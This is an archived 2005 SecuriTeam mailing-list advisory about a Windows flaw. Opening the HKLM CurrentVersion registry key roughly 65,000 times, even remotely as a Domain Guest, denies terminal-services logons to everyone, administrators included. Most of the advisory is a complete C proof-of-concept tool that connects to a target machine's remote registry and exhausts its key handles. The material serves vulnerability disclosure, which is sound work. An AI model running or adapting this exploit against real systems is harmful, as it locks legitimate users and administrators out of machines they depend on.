[NT] HKLM CurrentVersion Locking

• Previous message: SecuriTeam: "[NEWS] Cisco IOS Misformed BGP Packet Causes Reload"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 27 Jan 2005 14:58:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  HKLM CurrentVersion Locking
------------------------------------------------------------------------

SUMMARY

If you open HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion key too many
times, roughly 2^16, from one process, even remotely, logged on as at
least as Domain Guest, you are able to deny access to everyone through the
terminal services including domain administrators, enterprise
administrators, etc.

Locally, you are denying access to the users whose profiles are not yet
created on particular machine, regardless of their privileges, because the
profile cannot be created and request fails with "Insufficient resources"
error.

DETAILS

Exploit:
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <tchar.h>

#define MAX_KEYS 1048576

void PrintLastErrorString(DWORD gla);

int _tmain(int argc, _TCHAR* argv[])
{
 int i = 0;
 int ixKey = 0;

 _ftprintf(stdout,
  _T("\n")
  _T(".:. HKLM Locker POC Tool (C)2005 Vladimir Kraljevic .:.\n")
  _T("\n")
  _T("..:: Usage ::..\n")
  _T(" HKLMLocker.exe [machine name or its IP address]\n")
  _T("\n")
  _T("..:: Examples ::..\n")
  _T(" HKLMLocker.exe \\\\maindc.fabrikam.microsoft.com\n")
  _T(" HKLMLocker.exe 10.0.0.1\n")
  _T("\n")
  _T(" - if machine name is not supplied it'll run on local machine\n")
  _T(" - in the first step it locks specified target, then waits for
enter\n")
  _T(" - when you press enter, it will close the resources and free the
target\n")
  _T("\n\n")
  );
  
  HKEY hkMachine=HKEY_LOCAL_MACHINE;
  if(argc == 2) {
   HKEY hk=NULL;
   SetLastError(NO_ERROR);
   if(RegConnectRegistry(argv[1], HKEY_LOCAL_MACHINE,
    &hk)==ERROR_SUCCESS) {
    hkMachine=hk;
    _ftprintf(stdout, _T("\nINFO: Using HKLM on machine %s\n"),
     argv[1]);
   } else {
    _ftprintf(stderr, _T("\nERROR: Failed to open HKLM on machine %s\n"),
argv[1]);
     PrintLastErrorString(GetLastError());
    return -1;
   }
  }
  _fputts(_T("\n"), stdout);
  
  HKEY* pkey;
  if((pkey=(HKEY*)malloc(sizeof(HKEY)*MAX_KEYS))==NULL) {
   _ftprintf(stderr, _T("\nERROR: Failed to alloc %u bytes\n"),
    sizeof(HKEY)*MAX_KEYS);
   goto L_end;
  }
  
  ixKey=0;
  for(i=0; i < MAX_KEYS; i++) {
   LONG result;
   HKEY hk;
   
   result=RegOpenKeyEx(hkMachine,
    _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"),
    0,
    KEY_READ,
    &hk);
   if(result==ERROR_SUCCESS) {
    if(i%100==0)
     _ftprintf(stdout, _T("\rOpening key % -16u"), i);
    pkey[ixKey++]=hk;
   } else {
    PrintLastErrorString(GetLastError());
    _ftprintf(stdout, _T("\nERROR: Error occured on key ordinal %u (thats
OK for unpatched system :)"), i, ixKey);
     break;
   }
  }
  
  _fputts(_T("\nINPUT NEEDED: Waiting for a key to proceed to resource
freeing\n"), stderr);
   getch();
  _fputts(_T("\n"), stdout);
  
  for(i=0; i < ixKey; i++) {
   if(i%100==0)
    _ftprintf(stdout, _T("\rFreeing key % -16u"), i);
   RegCloseKey(pkey[i]);
  }
  _ftprintf(stdout, _T("\rFreeing key % -16u\n"), ixKey);
  
  free(pkey);
  
L_end:
  if(hkMachine!=HKEY_LOCAL_MACHINE)
   RegCloseKey(hkMachine);
  
  _fputts(_T("\nINPUT NEEDED: Waiting for a key to exit\n"), stderr);
  getch();
  
  return 0;
}

void PrintLastErrorString(DWORD gla)
{
 if(gla==NO_ERROR)
  return;
 PVOID pbuffer=NULL;
 if(!FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|
  FORMAT_MESSAGE_FROM_SYSTEM,
  NULL,
  gla,
  0,
  (LPTSTR)&pbuffer,
  65535/sizeof(TCHAR),
  NULL)) {
  _ftprintf(stderr, _T("\nERROR: Failed to format message for
GetLastError() code %u (%#08x)\n"), gla, gla);
   return;
 }
 _ftprintf(stderr, _T("\nERROR: DWORD=%u (%#08x), formatted: %s\n"), gla,
gla, pbuffer);
 LocalFree(pbuffer);
}

ADDITIONAL INFORMATION

The information has been provided by
<mailto:vladimir_kraljevic@yahoo.com> Vladimir Kraljevic.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[NEWS] Cisco IOS Misformed BGP Packet Causes Reload"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]